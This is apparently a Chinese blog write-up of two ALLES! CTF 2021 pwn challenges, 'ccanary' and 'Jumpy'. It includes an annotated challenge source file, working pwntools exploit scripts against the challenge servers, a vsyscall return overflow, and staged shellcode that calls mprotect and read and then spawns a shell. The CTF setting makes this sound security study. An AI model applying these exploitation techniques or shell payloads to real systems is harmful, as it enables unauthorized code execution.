ALLES! CTF 2021

文件

链接:https://pan.baidu.com/s/1U3UY3V_FJ8XibTOUartiUA
提取码:cz4q

ccanary

  • Tips: vsyscall;有三个固定地址的函数:0xffffffffff600000, 0xffffffffff600000+400, 0xffffffffff600000+800资料
  • EXP
# python3
from pwn import *

context.log_level = "debug"
sh = remote("7b0000009a1198bfd6981114-ccanary.challenge.master.allesctf.net", 31337, ssl=True)

sh.recv()

payload = b'a'*0x1f + p64(0xffffffffff600000)
sh.sendline(payload)

sh.interactive()
#ALLES!{th1s_m1ght_n0t_work_on_y0ur_syst3m_:^)}

Jumpy

  • 分析
  1. 以下是带注释的源代码:
#include <sys/mman.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <stdlib.h>

// setbuf
void ignore_me_init_buffering() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

// 指令名, 指令号
typedef struct instruction_t
{
    char *mnemonic;
    uint8_t opcode;
} instruction_t;

// 汇编指令与机器码对照详见:
// https://blog.csdn.net/changer_WE/article/details/84066401
const uint8_t OP_RET = 0xc3;
const uint8_t OP_SHORT_JMP = 0xeb;
const uint8_t OP_MOV_EAX_IMM32 = 0xb8;

// 只检查 3 条指令
const instruction_t INSNS[3] = {
    {"ret", OP_RET},
    {"jmp", OP_SHORT_JMP},
    {"moveax", OP_MOV_EAX_IMM32},
};

uint8_t *cursor;
uint8_t *mem;

// 读操作指令号
void emit_opcode(uint8_t opcode)
{
    *cursor++ = opcode;
}
// 读 32-bit 数据
void emit_imm32()
{
    scanf("%d", (uint32_t *)cursor);
    cursor += sizeof(uint32_t);
}

// 读 8-bit 数据
int8_t emit_imm8()
{
    scanf("%hhd", (int8_t *)cursor++);
    return *(int8_t *)(cursor - 1);
}

// 检查指令名,返回对应指令号
const instruction_t *isns_by_mnemonic(char *mnemonic)
{
    for (int i = 0; i < sizeof(INSNS) / sizeof(INSNS[0]); i++)
        if (!strcmp(mnemonic, INSNS[i].mnemonic))
            return &INSNS[i];
    return NULL;
}

// 检查是否是支持的三种操作之一
bool is_supported_op(uint8_t op)
{
    for (int i = 0; i < sizeof(INSNS) / sizeof(INSNS[0]); i++)
        if (op == INSNS[i].opcode)
            return true;
    return false;
}

int main(void)
{
    ignore_me_init_buffering();
    printf("this could have been a V8 patch...\n");
    printf("... but V8 is quite the chungus ...\n");
    printf("... so here's a small and useless assembler instead\n\n");

    mem = mmap((void*)0x1337000000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memset(mem, 0xc3, 0x1000);
    cursor = mem;

    printf("supported insns:\n");
    printf("- moveax $imm32\n");
    printf("- jmp $imm8\n");
    printf("- ret\n");
    printf("- (EOF)\n");
    printf("\n");

    uint8_t **jump_targets = NULL;
    size_t jump_target_cnt = 0;

    {
        while (1)
        {
            printf("> ");
            char opcode[10] = {0};
            scanf("%9s", opcode);
            const instruction_t *insn = isns_by_mnemonic(opcode);
            if (!insn)
                break;

            // 一直读入指令,直至读到不支持的指令即停止
            emit_opcode(insn->opcode);
            switch (insn->opcode)
            {
            case OP_MOV_EAX_IMM32:
                emit_imm32();
                break;
            case OP_SHORT_JMP:
                jump_targets = reallocarray(jump_targets, ++jump_target_cnt, sizeof(jump_targets[0]));
                int8_t imm = emit_imm8();
                uint8_t *target = cursor + imm;
                jump_targets[jump_target_cnt - 1] = target;
                break;
            case OP_RET:
                break;
            }
        }
    }

    // 会对读入的 jmp 指令简单的检查:检查跳转过去的指令是否是支持的指令(只进行一层,而且只检查跳转过去的那个 byte)
    for (int i = 0; i < jump_target_cnt; i++)
    {
        if (!is_supported_op(*jump_targets[i]))
        {
            printf("invalid jump target!\n");
            printf("%02x [%02x] %02x\n", *(jump_targets[i] - 1), *(jump_targets[i] + 0), *(jump_targets[i] + 1));
            exit(1);
        }
    }

    // 检查完之后,执行输入的汇编指令集
    uint64_t (*code)() = (void *)mem;
    mprotect(code, 0x1000, PROT_READ | PROT_EXEC);
    printf("\nrunning your code...\n");
    alarm(5);
    printf("result: 0x%lx\n", code());
}
  1. 我们可以 jmp 到指令 moveax 的数据段去执行一个 4 字节的指令,但是这样只能执行程序支持的三种指令之一。再者,由于 jmp 只检查一层,我们不妨在 moveax 指令后面再加一个 moveax 指令,然后在第一个 moveax 指令的数据段放置一个 jmp 指令,跳到第二个 moveax 指令的数据段,这样就通过了第一个 jmp 指令的检查,而第二个 jmp 指令隐藏在 moveax 的数据段,不会被检查,因此第二个 moveax 指令数据段所放置的指令就可以自由发挥了,唯一的限制就是长度为 4 字节。因此我们可以将要执行的汇编代码的字节码 4 字节 4 字节地放到这个壳子里面去执行:
# imm32 -> raw
def emit_imm32(imm32):
    jmp(1)
    moveax(u32(b"\xeb\x03\x90\x90"))
    moveax(u32(imm32))
  • EXP
    用到的汇编代码如下,其实就是执行 mprotect(0x1337000000, 0x1000, RWX); read(0, 0x1337000000, 0x1000)
; rdi = 0x1337000000
push 13h
pop rdi
shl rdi,8
add rdi,37h
shl rdi,24

; rsi = 0x1000
push 10h
pop rsi
shl rsi,8

; rdx = 7(RWX)
push 7
pop rdx

; rax = 10(sys_mprotect)
push 10
pop rax

; mprotect(0x1337000000, 0x1000, RWX)
syscall

; read(0, 0x1337000000, 0x1000)
xchg rdx,rsi
nop
xchg rsi,rdi
nop
xor rdi,rdi
nop
xor rax,rax
nop
syscall

对应的字节码,自行填 nop(90h)

root@5988320fccce:/ctf/work# nasm -f elf64 test.s 
root@5988320fccce:/ctf/work# objdump -d test.o

test.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   6a 13                   pushq  $0x13
   2:   5f                      pop    %rdi
   3:   48 c1 e7 08             shl    $0x8,%rdi
   7:   48 83 c7 37             add    $0x37,%rdi
   b:   48 c1 e7 18             shl    $0x18,%rdi
   f:   6a 10                   pushq  $0x10
  11:   5e                      pop    %rsi
  12:   48 c1 e6 08             shl    $0x8,%rsi
  16:   6a 07                   pushq  $0x7
  18:   5a                      pop    %rdx
  19:   6a 0a                   pushq  $0xa
  1b:   58                      pop    %rax
  1c:   0f 05                   syscall 
  1e:   48 87 d6                xchg   %rdx,%rsi
  21:   90                      nop
  22:   48 87 f7                xchg   %rsi,%rdi
  25:   90                      nop
  26:   48 31 ff                xor    %rdi,%rdi
  29:   90                      nop
  2a:   48 31 c0                xor    %rax,%rax
  2d:   90                      nop
  2e:   0f 05                   syscall 

然后再读入一段 shellcode,完成 getshell。

# python3
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"


#sh = process("./jumpy")
sh = remote("7b00000055611ec0b09226a1-jumpy.challenge.master.allesctf.net", 31337, ssl=True)


# imm32 -> int
def moveax(imm32):
    sh.recvuntil(b"> ")
    sh.sendline(("moveax " + str(imm32)).encode("ascii"))

# imm8 -> int
def jmp(imm8):
    sh.recvuntil(b"> ")
    sh.sendline(("jmp " + str(imm8)).encode("ascii"))

def ending():
    sh.recvuntil(b"> ")
    sh.sendline(b"end")

# imm32 -> raw
def emit_imm32(imm32):
    jmp(1)
    moveax(u32(b"\xeb\x03\x90\x90"))
    moveax(u32(imm32))


emit_imm32(b"\x6a\x13\x5f\x90")
emit_imm32(b"\x48\xc1\xe7\x08")
emit_imm32(b"\x48\x83\xc7\x37")
emit_imm32(b"\x48\xc1\xe7\x18")
emit_imm32(b"\x6a\x10\x5e\x90")
emit_imm32(b"\x48\xc1\xe6\x08")
emit_imm32(b"\x6a\x07\x5a\x90")
emit_imm32(b"\x6a\x0a\x58\x90")
emit_imm32(b"\x0f\x05\x90\x90")
emit_imm32(b"\x48\x87\xd6\x90")
emit_imm32(b"\x48\x87\xf7\x90")
emit_imm32(b"\x48\x31\xff\x90")
emit_imm32(b"\x48\x31\xc0\x90")
emit_imm32(b"\x0f\x05\x90\x90")

ending()

sh.recvuntil(b"code...\n")

shellcode = asm(shellcraft.sh())

sh.sendline(b'\x90'*0x100+shellcode)

sh.interactive()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容